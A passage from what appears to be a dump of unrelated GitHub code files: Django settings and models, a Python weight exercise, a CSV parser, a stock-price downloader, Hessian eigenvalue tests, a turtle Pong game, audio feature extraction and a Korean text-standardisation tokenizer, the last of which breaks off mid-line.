'django.db.backends.sqlite3',\n 'NAME': BASE_DIR / 'db.sqlite3',\n }\n}\n\n# AUTHENTICATION_BACKENDS = [ \n# # Needed to login by username in Django admin, regardless of `allauth`\n# 'django.contrib.auth.backends.ModelBackend',\n# # `allauth` specific authentication methods, such as login by e-mail\n# 'allauth.account.auth_backends.AuthenticationBackend', \n# ]\n\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\n\n\n\n#Whitelisting React fronend\nCORS_ORIGIN_WHITELIST = (\n 'http://localhost:3000',\n 'https://localhost:3000',\n 'http://127.0.0.1:3000',\n)\n\nCORS_ALLOW_CREDENTIALS = True\nCSRF_COOKIE_SECURE = True\nCSRF_COOKIE_HTTP_ONLY = True\nCSRF_TRUSTED_ORIGINS=[\n \"http://localhost:3000\"\n]\nCORS_EXPOSE_HEADERS=[\"Context-Type\", \"X-CSRFToken\"]\nSESSION_COOKIE_SECURE = True\nCSRF_COOKIE_SAMESITE = \"None\"\nSESSION_COOKIE_SAMESITE = \"None\"\n\nREST_FRAMEWORK = {\n \"DEFAULT_PERMISSION_CLASSES\": [\n \"rest_framework.permissions.AllowAny\",\n ],\n 'DEFAULT_AUTHENTICATION_CLASSES': ( \n 'dj_rest_auth.jwt_auth.JWTCookieAuthentication',\n 'rest_framework_simplejwt.authentication.JWTAuthentication',\n # 'dj_rest_auth.jwt_auth.JWTCookieAuthentication'\n ),\n 'DEFAULT_SCHEMA_CLASS': 'rest_framework.schemas.coreapi.AutoSchema'\n}\n\n# SIMPLE_JWT = {\n# 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5),\n# 'REFRESH_TOKEN_LIFETIME': timedelta(days=1),\n# 'ROTATE_REFRESH_TOKENS': True,\n# # 'BLACKLIST_AFTER_ROTATION': False,\n# # 'ALGORITHM': 'HS256',\n# # 'SIGNING_KEY': SECRET_KEY,\n# # 'VERIFYING_KEY': None,\n# # 'AUTH_HEADER_TYPES': ('JWT',),\n# # 'USER_ID_FIELD': 'id',\n# # 'USER_ID_CLAIM': 'user_id',\n# # # 'AUTH_TOKEN_CLASSES': ('rest_framework_simplejwt.tokens.AccessToken',),\n# # 'TOKEN_TYPE_CLAIM': 'token_type',\n# }\n\nSIMPLE_JWT = {\n 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5),\n 'REFRESH_TOKEN_LIFETIME': timedelta(days=1),\n 'ROTATE_REFRESH_TOKENS': False,\n 'BLACKLIST_AFTER_ROTATION': False,\n 'UPDATE_LAST_LOGIN': False,\n\n 'ALGORITHM': 'HS256',\n 'SIGNING_KEY': SECRET_KEY,\n 'VERIFYING_KEY': None,\n 'AUDIENCE': None,\n 'ISSUER': None,\n 'JWK_URL': None,\n 'LEEWAY': 0,\n\n 'AUTH_HEADER_TYPES': ('Bearer',),\n 'AUTH_HEADER_NAME': 'HTTP_AUTHORIZATION',\n 'USER_ID_FIELD': 'id',\n 'USER_ID_CLAIM': 'user_id',\n 'USER_AUTHENTICATION_RULE': 'rest_framework_simplejwt.authentication.default_user_authentication_rule',\n\n 'AUTH_TOKEN_CLASSES': ('rest_framework_simplejwt.tokens.AccessToken',),\n 'TOKEN_TYPE_CLAIM': 'token_type',\n 'TOKEN_USER_CLASS': 'rest_framework_simplejwt.models.TokenUser',\n\n 'JTI_CLAIM': 'jti',\n\n 'SLIDING_TOKEN_REFRESH_EXP_CLAIM': 'refresh_exp',\n 'SLIDING_TOKEN_LIFETIME': timedelta(minutes=5),\n 'SLIDING_TOKEN_REFRESH_LIFETIME': timedelta(days=1),\n\n # custom\n 'AUTH_COOKIE': 'access',\n # Cookie name. Enables cookies if value is set.\n 'AUTH_COOKIE_REFRESH': 'refresh',\n # A string like \"example.com\", or None for standard domain cookie.\n 'AUTH_COOKIE_DOMAIN': None,\n # Whether the auth cookies should be secure (https:// only).\n 'AUTH_COOKIE_SECURE': True, \n # Http only cookie flag.It's not fetch by javascript.\n 'AUTH_COOKIE_HTTP_ONLY': True,\n 'AUTH_COOKIE_PATH': '/', # The path of the auth cookie.\n # Whether to set the flag restricting cookie leaks on cross-site requests. This can be 'Lax', 'Strict', or None to disable the flag.\n 'AUTH_COOKIE_SAMESITE': \"None\", # TODO: Modify to Lax\n}\n\n\nREST_AUTH = {\n # 'SESSION_LOGIN': True,\n 'USE_JWT': True,\n # 'JWT_AUTH_COOKIE': 'access_token',\n # 'JWT_AUTH_REFRESH_COOKIE': 'refresh_token',\n 'JWT_AUTH_HTTPONLY': False,\n}\n\nAUTH_USER_MODEL = \"tasks.User\"\n\n# Password validation\n# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/4.1/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/4.1/howto/static-files/\n\nSTATIC_URL = 'static/'\n\n# Default primary key field type\n# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field\n\nDEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'\n","repo_name":"gmarte/ftm","sub_path":"ftm/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":7215,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"21465050550","text":"from django.db import models\nfrom django.utils import timezone\nfrom django.conf import settings\n\n# Create your models here.\nclass Contact(models.Model):\n first_name = models.CharField(max_length=20)\n last_name = models.CharField(max_length=20)\n email = models.EmailField(max_length=250)\n user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)\n phone = models.IntegerField()\n created_at = models.DateTimeField(auto_now_add=True)\n\n\n def __str__(self):\n return self.first_name\n","repo_name":"ans2human/cshare-cml-server","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39110194393","text":"pessoas = list()\nmaiorp = 0\nmenorp = 0\naux = list()\ncontinuar = 'S'\nwhile continuar == 'S':\n aux.append(input('Digite nome: '))\n aux.append(int(input('Digite peso: ')))\n pessoas.append(aux[:])\n if len(pessoas) == 0:\n maiorp = aux[1]\n menorp = aux[1]\n else:\n if aux[1] > maiorp:\n maiorp = aux[1]\n if aux[1] < menorp:\n menorp = aux[1]\n aux.clear()\n continuar = input('Quer continuar? [S/N] ').upper().strip()[0]\nprint('=' * 30)\nprint(f'A quantidade de pessoas cadastratas foi de {len(pessoas)} pessoas')\nprint(f'O maior peso foi {maiorp}. As pessoas mais pesadas foram: ', end = '')\nfor p in pessoas:\n if p[1] == maiorp:\n print(f'{p[0]} ', end = '')\nprint()\nprint(f'O menor peso foi {menorp}. As pessoas mais leves foram: ', end = '')\nfor p in pessoas:\n if p[1] == menorp:\n print(f'{p[0]}', end = '')\n","repo_name":"ramosgladson/Anotacoes","sub_path":"Python/exercicio84b.py","file_name":"exercicio84b.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1950827680","text":"import csv\n\n\nclass Experiment:\n def __init__(self, header, values):\n self.attributes = dict(zip(header, values))\n if self.attributes[\"Type\"] not in [\"C\", \"T\"]:\n print(\"Error: invalid experiment type: '\" + self.attributes[\"Type\"] + \"' Expected: C or T\")\n exit(1)\n\n\nclass ExperimentalDesign:\n def __init__(self, filepath):\n print(\"\\nParsing experimental design file: \" + filepath)\n\n self.name2experiment = dict()\n\n with open(filepath, encoding='utf-8-sig') as csvfile:\n reader = csv.reader(csvfile)\n header = next(reader)\n print(\"Header: \", header)\n\n # check that header has the minimum columns\n self.__check_column(header, \"Experiment Name\")\n self.__check_column(header, \"Type\")\n self.__check_column(header, \"Bait\")\n self.__check_column(header, \"Replicate\")\n\n for row in reader:\n self.name2experiment[row[header.index(\"Experiment Name\")]] = Experiment(header, row)\n\n self.__print_stats()\n\n def __check_column(self, header, column):\n if column not in header:\n print(\"ERROR: missing required column: \" + column)\n exit(1)\n\n def __print_stats(self):\n num_experiments = 0\n num_controls = 0\n baits = set()\n max_replicates = 0\n\n for experiment in self.name2experiment.values():\n if experiment.attributes[\"Type\"] == \"C\":\n num_controls += 1\n else:\n num_experiments += 1\n baits.add(experiment.attributes[\"Bait\"])\n max_replicates = max(max_replicates, int(experiment.attributes[\"Replicate\"]))\n\n print(\"Num baits:\", len(baits))\n print(\"Num bait experiments:\", num_experiments)\n print(\"Max replicates per bait:\", max_replicates)\n print(\"Num control experiments:\", num_controls)\n","repo_name":"GoldfarbLab/IDG-PPI-Analysis","sub_path":"experimental_design.py","file_name":"experimental_design.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4058942949","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('books/', views.browse, name='browse'),\n path('books/', views.details, name='details'),\n path('books/new', views.addbook, name='addbook'),\n path('login', views.login, name='login'),\n]\n","repo_name":"dstewart1673/bookclub","sub_path":"bookclub/booktrading/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6994085336","text":"#This code was borrowed from the below post \n#http://stackoverflow.com/questions/24233385/pulling-yahoo-finance-data-using-python\n#Modified by Frederic Marechal\n\nimport urllib.request\nimport time\nimport datetime\n\n#This function takes a stock name (e.g. GOOGL), connect to the YAHOO!Finance API.\n#It downloads the stock data for the date t, t-1 and t-2. \n#It transforms the streamed data in a CSV and store the file locally.\n#The result is a file containing the following attributes Date/Open/High/Low/Close/Volume\ndef pullData(stock):\n current_date = datetime.datetime.now().strftime('%Y_%m_%d')\n fileLine = \"data/prices/\" + stock + '_' +current_date + '_.csv'\n #Create the YAHOO!finance request URL, based on the stock name \n urltovisit = 'http://chartapi.finance.yahoo.com/instrument/1.0/'+stock+'/chartdata;type=quote;range=3d/csv'\n #Call the YAHOO!Finance API and get the data\n with urllib.request.urlopen(urltovisit) as f:\n sourceCode = f.read().decode('utf-8')\n splitSource = sourceCode.split('\\n')\n #Transform the stream into a CSV format and store.\n for eachLine in splitSource:\n splitLine = eachLine.split(',') \n if len(splitLine) == 6: \n if 'values' not in eachLine:\n saveFile = open(fileLine,'a')\n linetoWrite = eachLine+'\\n'\n saveFile.write(linetoWrite)\n\n print('Pulled', stock)\n print('...')\n time.sleep(.5)\n\n\n#get the price for each stock in the list\n#stockstoPull = 'GOOGL',\n#for eachStock in stockstoPull: \n# pullData(eachStock)\n\n#To read the datetime\n#import datetime\n#open/close \n#print(datetime.datetime.fromtimestamp(1477575248).strftime('%Y-%m-%d %H:%M:%S'))\n#print(datetime.datetime.fromtimestamp(1477684800).strftime('%Y-%m-%d %H:%M:%S'))\n#open/close \n#print(datetime.datetime.fromtimestamp(1477920842).strftime('%Y-%m-%d %H:%M:%S'))\n#print(datetime.datetime.fromtimestamp(1477944000).strftime('%Y-%m-%d %H:%M:%S'))\n\n\n","repo_name":"FredGH/ProjectPortfolio_2.0","sub_path":"projects/natural_language_processing/tweeter_parser/code/liclipse_files/get_stock_price.py","file_name":"get_stock_price.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"34200201954","text":"import unittest\nimport numpy as np\n\nfrom pele.utils.hessian import *\nfrom pele.utils.hessian import get_smallest_eig_nohess, get_smallest_eig_sparse, get_smallest_eig_arpack\n\nclass TestEig(unittest.TestCase):\n def setUp(self):\n np.random.seed(0)\n from pele.systems import LJCluster\n natoms = 10\n self.system = LJCluster(natoms)\n system = self.system\n self.pot = system.get_potential()\n quencher = system.get_minimizer(tol=2.)\n x = system.get_random_configuration()\n ret = quencher(x)\n self.x = ret[0]\n\n self.xmin = system.get_random_minimized_configuration()[0]\n \n e, g, self.h = self.pot.getEnergyGradientHessian(self.x)\n e, g, self.hmin = self.pot.getEnergyGradientHessian(self.xmin)\n \n \n def numerical_eig_from_vec(self, x, vec, eps=1e-6):\n x = x.copy()\n x += vec * eps\n eplus, gplus = self.pot.getEnergyGradient(x)\n x -= 2. * vec * eps\n eminus, gminus = self.pot.getEnergyGradient(x)\n eval = np.dot((gplus - gminus), vec) / (2. * eps)\n return eval\n \n def test_minimum(self):\n w = get_eigvals(self.hmin)\n wmin = np.min(w)\n self.assertGreater(wmin, -1e-5)\n\n def test_eig_eigval(self):\n w0 = get_eigvals(self.h)\n w, v = get_eig(self.h)\n diff = np.max(np.abs(w-w0))\n self.assertLess(diff, 1e-5)\n\n def test_numeric(self):\n wlist, vlist = get_eig(self.h)\n eps = 1e-6\n for i in range(len(wlist)):\n w = wlist[i]\n v = vlist[:,i]\n eval = self.numerical_eig_from_vec(self.x, v)\n self.assertAlmostEqual(w, eval, 5)\n\n def test_numeric_sorted(self):\n wlist, vlist = get_sorted_eig(self.h)\n eps = 1e-6\n for i in range(len(wlist)):\n w = wlist[i]\n v = vlist[:,i]\n eval = self.numerical_eig_from_vec(self.x, v)\n self.assertAlmostEqual(w, eval, 5)\n \n def test_sorting(self):\n w, v = get_eig(self.h)\n ws, vs = get_sorted_eig(self.h)\n wsort = np.array(sorted(w))\n diff = np.max(np.abs(ws - wsort))\n self.assertLess(diff, 1e-5)\n \n# print \"unsorted\", v\n# print \"sorted\", vs\n isort = sorted([(w[i], i) for i in range(len(w))])\n indices = [i for wval, i in isort]\n for i, j in enumerate(indices):\n self.assertAlmostEqual(ws[i], w[j], 5)\n if np.abs(w[j]) > .01:\n# print w[j]\n v1 = vs[:,i]\n v2 = v[:,j]\n dot = np.dot(v1, v2) / (np.linalg.norm(v1) * np.linalg.norm(v2))\n self.assertAlmostEqual(dot, 1., 5)\n diff = np.max(np.abs(vs[:,i] - v[:,j]))\n self.assertLess(diff, 1e-5)\n\n def test_smallest_eig(self):\n ws, vs = get_sorted_eig(self.h)\n ws = ws[0]\n vs = vs[:,0]\n w, v = get_smallest_eig(self.h)\n self.assertAlmostEqual(ws, w, 6)\n dot = np.dot(v, vs) / (np.linalg.norm(v) * np.linalg.norm(vs))\n self.assertAlmostEqual(dot, 1., 5)\n\n def test_smallest_eig1(self):\n ws, vs = get_smallest_eig(self.h)\n w, v = get_smallest_eig_arpack(self.h, tol=1e-9)\n self.assertAlmostEqual(ws, w, 3)\n dot = np.dot(v, vs) / (np.linalg.norm(v) * np.linalg.norm(vs))\n dot = np.abs(dot)\n self.assertAlmostEqual(dot, 1., 3)\n\n def test_smallest_eig2(self):\n ws, vs = get_smallest_eig(self.h)\n w, v = get_smallest_eig_sparse(self.h, cutoff=1e-2, tol=1e-9)\n# print vs.shape, v.shape\n self.assertAlmostEqual(ws, w, 2)\n dot = np.dot(v, vs) / (np.linalg.norm(v) * np.linalg.norm(vs))\n dot = np.abs(dot)\n self.assertAlmostEqual(dot, 1., 2)\n\n def test_smallest_eig_nohess(self):\n ws, vs = get_smallest_eig(self.h)\n w, v = get_smallest_eig_nohess(self.x, self.system, tol=1e-9, dx=1e-6)\n# print vs.shape, v.shape\n self.assertAlmostEqual(ws, w, 1)\n dot = np.dot(v, vs) / (np.linalg.norm(v) * np.linalg.norm(vs))\n dot = np.abs(dot)\n self.assertAlmostEqual(dot, 1., 1)\n \nif __name__ == \"__main__\":\n unittest.main()\n\n","repo_name":"pele-python/pele","sub_path":"pele/utils/tests/test_hessian_eigs.py","file_name":"test_hessian_eigs.py","file_ext":"py","file_size_in_byte":4245,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"75"} +{"seq_id":"38429678122","text":"#!/usr/bin/python3.7\n# Pong\n# Gökhan Gurbetoğlu\n# @ggurbet\n\nimport turtle\nimport random\nimport time\n\nLIGHT = \"white\"\nMEDIUM = \"lightgray\"\nDARK = \"dimgray\"\n\n# Initialize the screen and other objects\nwn = turtle.Screen()\nwn.title(\"Pong\")\nwn.bgcolor(\"#282c34\")\nwn.setup(width = 800, height = 600)\nwn.tracer(0)\n\n# Player 1\nplayer1 = turtle.Turtle()\nplayer1.speed(0)\nplayer1.shape(\"square\")\nplayer1.shapesize(stretch_wid = 5, stretch_len = 1)\nplayer1.color(MEDIUM)\nplayer1.penup()\nplayer1.goto(-350, 0)\n\n# Player 2\nplayer2 = turtle.Turtle()\nplayer2.speed(0)\nplayer2.shape(\"square\")\nplayer2.shapesize(stretch_wid = 5, stretch_len = 1)\nplayer2.color(MEDIUM)\nplayer2.penup()\nplayer2.goto(350, 0)\n\n# Ball\nball = turtle.Turtle()\nball.speed(0)\nball.shape(\"square\")\nball.color(LIGHT)\nball.penup()\nball.goto(0, 0)\nball.dx = 0.1\nball.dy = 0.1\n\n# Center line\ncenter_line = turtle.Turtle()\ncenter_line.speed(0)\ncenter_line.color(\"#555555\")\ncenter_line.penup()\ncenter_line.goto(0, 400)\ncenter_line.pendown()\ncenter_line.pensize(3)\ncenter_line.setheading(270)\nwhile center_line.ycor() > -400:\n center_line.fd(20)\n center_line.penup()\n center_line.fd(20)\n center_line.pendown()\n\n# Score\nscore_1 = 0\nscore_2 = 0\n\n# Scoreboard\nscore = turtle.Turtle()\nscore.color(LIGHT)\nscore.penup()\nscore.hideturtle()\nscore.goto(0, 260)\nscore.write(\"{} {}\".format(score_1, score_2), align=\"center\", font=(\"Monospace\", 24, \"normal\"))\n\n# Game Over text\ngame_over = turtle.Turtle()\ngame_over.color(LIGHT)\ngame_over.penup()\ngame_over.hideturtle()\ngame_over.goto(-10, -240)\n\n# Player Movements\ndef player1_up():\n y = player1.ycor()\n if y < 240: # limit the paddle movement within the screen bounds\n y += 50\n player1.sety(y)\n\ndef player1_down():\n y = player1.ycor()\n if y > -240: # limit the paddle movement within the screen bounds\n y -= 50\n player1.sety(y)\n\ndef player2_up():\n y = player2.ycor()\n if y < 240: # limit the paddle movement within the screen bounds\n y += 50\n player2.sety(y)\n\ndef player2_down():\n y = player2.ycor()\n if y > -240: # limit the paddle movement within the screen bounds\n y -= 50\n player2.sety(y)\n\n# Keyboard controls\nwn.listen()\nwn.onkeypress(player1_up, \"w\")\nwn.onkeypress(player1_down, \"s\")\nwn.onkeypress(player2_up, \"Up\")\nwn.onkeypress(player2_down, \"Down\")\n\n# Reset game\ndef reset_game():\n global score_1, score_2\n score_1 = 0\n score_2 = 0\n ball.goto(0, random.randint(-250, 250))\n player1.goto(-350, 0)\n player2.goto(350, 0)\n game_over.clear()\n score.clear()\n score.write(\"{} {}\".format(score_1, score_2), align=\"center\", font=(\"Monospace\", 24, \"normal\"))\nwn.onkeypress(reset_game, \"Return\")\n\n# Exit game\ndef exit_game():\n wn.bye()\nwn.onkeypress(exit_game, \"q\")\n\n# Main loop\nwhile True:\n wn.update()\n\n # Move the ball\n ball.goto(ball.xcor() + ball.dx, ball.ycor() + ball.dy)\n\n # Check borders\n if ball.ycor() > 290:\n ball.sety(290) # do not go out of bounds\n ball.dy *= -1 # reverse direction\n if ball.ycor() < -290:\n ball.sety(-290) # do not go out of bounds\n ball.dy *= -1 # reverse direction\n if ball.xcor() > 390:\n score_1 += 1\n if ball.xcor() < -390:\n score_2 += 1\n if ball.xcor() > 390 or ball.xcor() < -390:\n score.clear()\n score.write(\"{} {}\".format(score_1, score_2), align=\"center\", font=(\"Monospace\", 24, \"normal\"))\n ball.dx *= -1 # reverse direction\n ball.goto(0, random.randint(-250, 250))\n if ball.xcor() > 360 or ball.xcor() < -360:\n ball.color(DARK)\n turtle.ontimer(lambda: ball.color(LIGHT), 200)\n\n # Collisions between the ball and the paddles\n if (ball.xcor() < -340 and ball.xcor() > -350) and (ball.ycor() < player1.ycor() + 50 and ball.ycor() > player1.ycor() - 50):\n ball.dx *= -1\n ball.setx(-340)\n player1.color(LIGHT)\n turtle.ontimer(lambda: player1.color(MEDIUM), 100)\n player1.shapesize(stretch_wid = 5.5, stretch_len = 1.1)\n turtle.ontimer(lambda: player1.shapesize(stretch_wid = 5, stretch_len = 1), 100)\n ball.shapesize(stretch_wid = 1.5, stretch_len = 1.5)\n turtle.ontimer(lambda: ball.shapesize(stretch_wid = 1, stretch_len = 1), 100)\n if (ball.xcor() > 340 and ball.xcor() < 350) and (ball.ycor() < player2.ycor() + 50 and ball.ycor() > player2.ycor() - 50):\n ball.dx *= -1\n ball.setx(340)\n player2.color(LIGHT)\n turtle.ontimer(lambda: player2.color(MEDIUM), 100)\n player2.shapesize(stretch_wid = 5.5, stretch_len = 1.1)\n turtle.ontimer(lambda: player2.shapesize(stretch_wid = 5, stretch_len = 1), 100)\n ball.shapesize(stretch_wid = 1.5, stretch_len = 1.5)\n turtle.ontimer(lambda: ball.shapesize(stretch_wid = 1, stretch_len = 1), 100)\n\n # Check if game is over\n if score_1 == 5 or score_2 == 5:\n # Stop the ball\n ball.goto(0, -600)\n\n # Show Game Over screen\n winner = \"1\" if score_1 > score_2 else \"2\"\n end_text = \" Player {} wins!\\n\\nPress Enter to play again\\n\\n Press Q to quit\".format(winner)\n\n game_over.write(end_text, align=\"center\", font=(\"Monospace\", 24, \"normal\"))\n \n wn.update()\n wn.listen()\n","repo_name":"ggurbet/pong","sub_path":"pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":5271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"23111284975","text":"\n# coding: utf-8\n# author: Bharath Varma\n# organisation: mtw labs innovations pvt ltd.\n\nfrom __future__ import division\n\nimport os\nimport glob\nimport argparse\nimport pickle\nimport numpy as np\nimport pandas as pd\nfrom statistics import mean, stdev\n\nimport librosa\nimport pydub #to manipulate audio\n\nfolder = glob.glob(os.getcwd() + '/all_songs/*')\n\ndef convert_to_ogg(songname):\n sound = pydub.AudioSegment.from_file(songname)\n newname = songname[:-4] + '.ogg'\n sound.export(newname, format='ogg')\n return newname\n\ndef get_beat_features(songname):\n # Check and convert if the song format is in .ogg\n songname = convert_to_ogg(songname)\n \n # Load the example clip\n y, sr = librosa.load(songname)\n\n # Set the hop length; at 22050 Hz, 512 samples ~= 23ms\n hop_length = 512\n\n # Separate harmonics and percussives into two waveforms\n y_harmonic, y_percussive = librosa.effects.hpss(y)\n\n # Beat track on the percussive signal\n tempo, beat_frames = librosa.beat.beat_track(y=y_percussive,\n sr=sr)\n\n # Compute MFCC features from the raw signal\n mfcc = librosa.feature.mfcc(y=y, sr=sr, hop_length=hop_length, n_mfcc=13)\n\n # And the first-order differences (delta features)\n mfcc_delta = librosa.feature.delta(mfcc)\n\n # Stack and synchronize between beat events\n # This time, we'll use the mean value (default) instead of median\n beat_mfcc_delta = librosa.util.sync(np.vstack([mfcc, mfcc_delta]),\n beat_frames)\n\n # Compute chroma features from the harmonic signal\n chromagram = librosa.feature.chroma_cqt(y=y_harmonic,\n sr=sr)\n\n # Aggregate chroma features between beat events\n # We'll use the median value of each feature between beat frames\n beat_chroma = librosa.util.sync(chromagram,\n beat_frames,\n aggregate=np.median)\n\n # Finally, stack all beat-synchronous features together\n beat_features = np.vstack([beat_chroma, beat_mfcc_delta])\n \n # from feature distribution to mean and standard deviations of those distributions\n beat_feat_distr = [[mean(item), stdev(item)] for item in beat_features]\n \n # removing unwanted .ogg file\n os.remove(songname)\n \n return beat_feat_distr\n\ndef store_feat_of_songs(file_folder):\n for song_in_folder in file_folder:\n #print song_in_folder\n song_feat = get_beat_features(song_in_folder)\n fileName = os.getcwd() + '/featList/' + song_in_folder.split('/')[-1] + '.txt'\n with open(fileName, \"wb\") as fn:\n pickle.dump(song_feat, fn)\n \n featList_folder = glob.glob(os.getcwd() + '/featList/*')\n if len(file_folder)==len(featList_folder):\n return \"All songs are converted and feature matrix is stored in '/featList/'. \"\n else:\n return \"Conversion failed. All songs are not converted.\"\n\n\n#store_feat_of_songs(folder)\n\n","repo_name":"bharathvarma008/SongMatch","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8989384840","text":"import numpy as np\nimport pandas as pd\n\nimport re\nfrom collections import Counter, defaultdict\nfrom functools import partial\nfrom tqdm import tqdm\n\nfrom difflib import get_close_matches\nfrom jamo import j2hcj, h2j\nfrom kiwipiepy import Kiwi\n# from module.collection import Crawling\n\n\nclass WordDict:\n def __init__(self) -> None:\n # 불용어 리스트\n self.StopwordList = []\n \n # 옵션처리 리스트\n self.OptionList = []\n \n # 단위 리스트\n self.UnitList = []\n \n # 표준화 사전\n self.StandardDict = {}\n self.JamoToStandard = {}\n self.WordToStandard = {}\n \n self.token = TokenKiwi('s')\n \n def __del__(self):\n # 파일로 저장\n pass\n \n def updateDictonary(self, standard:str, word:str, idx:int=None, type:str='n'):\n \"\"\"_summary_\n\n Args:\n standard (str): _description_\n word (str): _description_\n idx (int, ): _description_. Defaults to None.\n type (str, [n,a,c]): n=New, a=Add, c=check. Defaults to 'n'.\n \"\"\"\n if type == 'c':\n try:\n if self.StandardDict[standard]:\n type = 'a'\n except:\n type = 'n'\n \n \n if type == 'n':\n if word != standard:\n self.token.dictionary_add([standard, word])\n else:\n self.token.dictionary_add(standard)\n self.StandardDict[standard] = {}\n self.StandardDict[standard]['wordList'] = {word}\n # self.StandardDict[standard]['jamo'] = j2hcj(h2j(standard))\n \n self.WordToStandard[word] = standard\n self.JamoToStandard[j2hcj(h2j(standard))] = standard\n \n if type == 'a':\n try:\n self.WordToStandard[word]\n except:\n self.token.dictionary_add(word)\n try:\n self.WordToStandard[standard]\n except:\n self.token.dictionary_add(standard) \n \n \n ls = list(self.StandardDict[standard]['wordList'])\n ls.append(word)\n ls = set(ls)\n self.StandardDict[standard]['wordList'] = ls\n # self.StandardDict[standard]['jamo'] = j2hcj(h2j(standard))\n \n self.WordToStandard[word] = standard\n self.JamoToStandard[j2hcj(h2j(standard))] = standard\n \n \n # print(standard, word, idx)\n if idx:\n try:\n self.StandardDict[standard]['idxList'].append(idx)\n except:\n self.StandardDict[standard]['idxList']= [idx]\n self.StandardDict[standard]['mean'] = np.mean(self.StandardDict[standard]['idxList'])\n \n # 유사도를 파악\n def ratioTop(self, word:str, stdWordList:list, n:int=5) -> str:\n stdJamoList = [j2hcj(h2j(w)) for w in stdWordList]\n jamo = j2hcj(h2j(word))\n if len(jamo) >= 8:\n cutoff = 0.8\n elif len(jamo) >= 6:\n cutoff = 0.75\n else:\n cutoff = 0.7\n close_matches = get_close_matches(jamo, stdJamoList, n, cutoff)\n # print(close_matches)\n if close_matches:\n close_matches = [self.JamoToStandard[j] for j in close_matches]\n if word not in close_matches:\n # print(close_matches)\n # 생크림 -크림\n if word == close_matches[1:]:\n std = close_matches[i]\n return std\n \n # i = int(input(f'''{close_matches}- \\n \\\"{word}\\\"의표준값이라고 생각하는 인덱스 적어주세요. 다 아니면 9'''))\n i = 9\n if i != 9:\n std = close_matches[i]\n return std\n return word\n return word\n else:\n return word\n \n \n def thisIsStandard(self, word:str, idx:int=None):\n try: # 예전에 나온 단어인가요?\n self.updateDictonary(self.WordToStandard[word], word, idx, type='a')\n # print('idx add')\n except: # 처음 나오는데요\n stdWordList = self.StandardDict.keys()\n res = self.ratioTop(word, stdWordList)\n # print('thisIsStandard',res)\n if res:\n # print('update')\n self.updateDictonary(res, word, idx)\n else:\n # print('not update')\n pass\n\n\n def check_word(self, word:str) -> bool:\n \"\"\"word_dict_map 안에 해당 word가 존재하는지 체크하는 함수\n\n Args:\n word (str): 단어\n\n Returns:\n bool: True, False\n \"\"\"\n if word in self.word_dict_map.keys():\n return True\n return False\n\nclass Algorithm:\n def __init__(self) -> None:\n pass\n \n def text_clean(self, text):\n try:\n pattern = r'\\([^)]*\\)'\n text = re.sub(pattern, '', text) # 괄호 제거\n pattern = r'([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+)' # E-mail제거\n text = re.sub(pattern, '', text)\n pattern = r'(http|ftp|https)://(?:[-\\w.]|(?:%[\\da-fA-F]{2}))+' # URL제거\n text = re.sub(pattern, '', text)\n pattern = r'[a-zA-Z]' # 알파벳 제거\n text = re.sub(pattern, '', text)\n pattern = r'[0-9]' # 숫자 -> 빈칸으로 대체\n text = re.sub(pattern, ' ', text)\n pattern = r'([ㄱ-ㅎㅏ-ㅣ]+)' # 한글 자음, 모음 제거\n text = re.sub(pattern, '', text)\n pattern = r'<[^>]*>' # HTML 태그 제거\n text = re.sub(pattern, '', text)\n pattern = r'[^\\w\\s]' # 특수기호제거\n text = re.sub(pattern, '', text)\n text = text.strip(' ')\n text = text.strip('\\n')\n return text\n except:\n return '에러'\n \n \n \n\nclass TokenKiwi:\n def __init__(self, path) -> None:\n self.path = r\"C:\\Users\\user\\Desktop\\started_from_the_bottom\\FINAL\\word_dictionary.txt\"\n self.kiwi = Kiwi(model_type='sbg')\n self.setting()\n\n def setting(self):\n self.kiwi.load_user_dictionary(self.path)\n self.kiwi.prepare()\n \n def reset(self):\n self.kiwi.load_user_dictionary(self.path)\n self.kiwi.prepare()\n \n def dictionary_add(self, data, morph:str = 'NNG', weight:int = 100, 